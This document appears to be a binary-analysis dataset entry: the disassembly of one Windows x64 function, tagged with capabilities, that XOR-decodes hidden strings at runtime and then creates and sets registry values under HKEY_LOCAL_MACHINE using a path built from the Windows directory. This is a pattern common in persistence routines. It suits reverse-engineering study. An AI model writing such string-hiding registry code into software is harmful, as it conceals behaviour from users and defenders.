Function at 0x14021a380
Capabilities:
Encode data using xor
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x838]
sub rsp, 0x938
xorps xmm0, xmm0
lea rcx, [rbp + 0x630]
mov eax, 1
xor edx, edx
mov dword [rbp + 0x888], eax
mov r8d, 0x200
xor eax, eax
mov qword [rbp], rax
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
call fcn.1403ccc50
mov rbx, 0xffffffffffffffff
lea r8, [0x140548ab0]
mov r9, rbx
inc r9
cmp byte [r8 + r9], 0
jne 0x14021a3f5
lea rax, [rbp + 0x630]
mov dword [rsp + 0x28], 0x200
xor edx, edx
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.kernel32.dll_MultiByteToWideChar]
xor esi, esi
mov ecx, esi
movzx eax, word [rbp + rcx + 0x630]
mov word [rbp + rcx - 0x70], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x14021a421
xor edx, edx
lea rcx, [rbp + 0x10]
mov r8d, 0x208
call fcn.1403ccc50
xor edx, edx
lea rcx, [rbp + 0x220]
mov r8d, 0x208
call fcn.1403ccc50
mov edx, esi
mov dword [rsp + 0x44], 0xb08db080
mov dword [rsp + 0x48], 0xb082b086
mov edi, 0x4f0d
mov dword [rsp + 0x4c], 0xb095b092
mov dword [rsp + 0x50], 0xb0b9b0a5
mov dword [rsp + 0x54], 0xb08eb08e
mov dword [rsp + 0x58], 0xb09bb08f
mov dword [rsp + 0x5c], 0xb174b091
mov dword [rsp + 0x60], 0xb16db142
mov dword [rsp + 0x64], 0xb170b16d
mov dword [rsp + 0x68], 0xb169b177
mov dword [rsp + 0x6c], 0xb15bb16b
mov dword [rsp + 0x70], 0xb17eb16c
mov dword [rsp + 0x74], 0xb15fb157
mov dword [rsp + 0x78], 0xb17cb168
mov dword [rsp + 0x7c], 0xb179b179
mov dword [rbp - 0x80], 0xb177b172
mov dword [rbp - 0x7c], 0xb160
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x44]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, di
inc edx
xor word [rcx], ax
cmp edx, 0x21
jb 0x14021a4f0
lea r8, [rbp + 0x898]
mov word [rbp - 0x7a], si
lea rdx, [rsp + 0x44]
mov rcx, 0xffffffff80000002
call qword [sym.imp.advapi32.dll_RegOpenKeyW]
mov edx, 0x104
lea rcx, [rbp + 0x10]
call qword [sym.imp.kernel32.dll_GetWindowsDirectoryW]
mov edx, esi
mov dword [rbp + 0x880], 0xb0af
nop dword [rax]
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rbp + 0x880]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, di
inc edx
xor word [rcx], ax
cmp edx, 1
jb 0x14021a550
lea rcx, [rbp + 0x10]
mov word [rbp + 0x882], si
sub rcx, 2
nop dword [rax]
cmp word [rcx + 2], si
lea rcx, [rcx + 2]
jne 0x14021a580
lea r8, [rbp + 0x880]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x14021a5a0
lea rcx, [rbp + 0x10]
sub rcx, 2
nop word [rax + rax]
cmp word [rcx + 2], si
lea rcx, [rcx + 2]
jne 0x14021a5c0
lea r8, [rbp - 0x70]
xor edx, edx
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x14021a5d0
xor eax, eax
mov dword [rsp + 0x30], 0xb087b0dd
mov word [rsp + 0x38], ax
mov edx, esi
mov dword [rsp + 0x34], 0xb085b08c
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, di
inc edx
xor word [rcx], ax
cmp edx, 4
jb 0x14021a600
lea rcx, [rbp + 0x10]
mov word [rsp + 0x38], si
sub rcx, 2
nop dword [rax]
cmp word [rcx + 2], si
lea rcx, [rcx + 2]
jne 0x14021a630
lea r8, [rsp + 0x30]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x14021a650
xor edx, edx
lea rcx, [rbp + 0x430]
mov r8d, 0x1fe
call fcn.1403ccc50
mov edx, esi
mov dword [rsp + 0x30], 0xb0cbb0af
mov dword [rsp + 0x34], 0xb0aab0ca
mov dword [rsp + 0x38], 0xb08fb0d2
mov dword [rsp + 0x3c], 0xb08a
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, di
inc edx
xor word [rcx], ax
cmp edx, 7
jb 0x14021a6a0
mov word [rsp + 0x3e], si
mov rcx, rsi
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [rsp + rcx + 0x30]
mov word [rbp + rcx + 0x430], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x14021a6d0
lea r9, [rbp + 0x10]
mov edx, 0x104
lea r8, [rbp + 0x430]
lea rcx, [rbp + 0x220]
call fcn.140218fa0
mov rcx, qword [rbp + 0x898]
lea r8, [rbp + 0x890]
lea rdx, [rbp - 0x70]
call qword [sym.imp.advapi32.dll_RegCreateKeyW]
mov edx, esi
mov dword [rsp + 0x30], 0xb099b0ba
mov dword [rsp + 0x34], 0xb091b094
mov dword [rsp + 0x38], 0xb0a8b092
mov dword [rsp + 0x3c], 0xb08eb098
mov dword [rsp + 0x40], 0xb093
nop dword [rax]
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, di
inc edx
xor word [rcx], ax
cmp edx, 9
jb 0x14021a750
mov word [rsp + 0x42], si
lea rax, [rbp + 0x220]
nop dword [rax + rax]
inc rbx
cmp word [rax + rbx*2], si
jne 0x14021a780
mov rcx, qword [rbp + 0x890]
lea rax, [rbp + 0x220]
add ebx, ebx
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x28], ebx
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.advapi32.dll_RegSetValueExW]
xor eax, eax
mov dword [rsp + 0x30], 0xb08db0a7
mov word [rsp + 0x38], ax
mov edx, esi
mov dword [rsp + 0x34], 0xb093b085
nop
movsxd rax, edx
lea rcx, [rsp + 0x30]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, di
inc edx
xor word [rcx], ax
cmp edx, 4
jb 0x14021a7d0
mov rcx, qword [rbp + 0x890]
lea rax, [rbp + 0x888]
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x30]
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov word [rsp + 0x38], si
call qword [sym.imp.advapi32.dll_RegSetValueExW]
mov edx, esi
mov dword [rsp + 0x30], 0xb099b0ba
mov dword [rsp + 0x34], 0xb091b094
mov dword [rsp + 0x38], 0xb0a8b092
mov dword [rsp + 0x3c], 0xb08eb098
mov dword [rsp + 0x40], 0xb093
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, di
inc edx
xor word [rcx], ax
cmp edx, 9
jb 0x14021a850
mov rcx, qword [rbp + 0x890]
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x28], rsi
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
mov word [rsp + 0x42], si
call qword [sym.imp.advapi32.dll_RegQueryValueExW]
xor cl, cl
test eax, eax
movzx ebx, cl
mov rcx, qword [rbp + 0x890]
mov eax, 1
cmove ebx, eax
call qword [sym.imp.advapi32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x898]
call qword [sym.imp.advapi32.dll_RegCloseKey]
movzx eax, bl
add rsp, 0x938
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret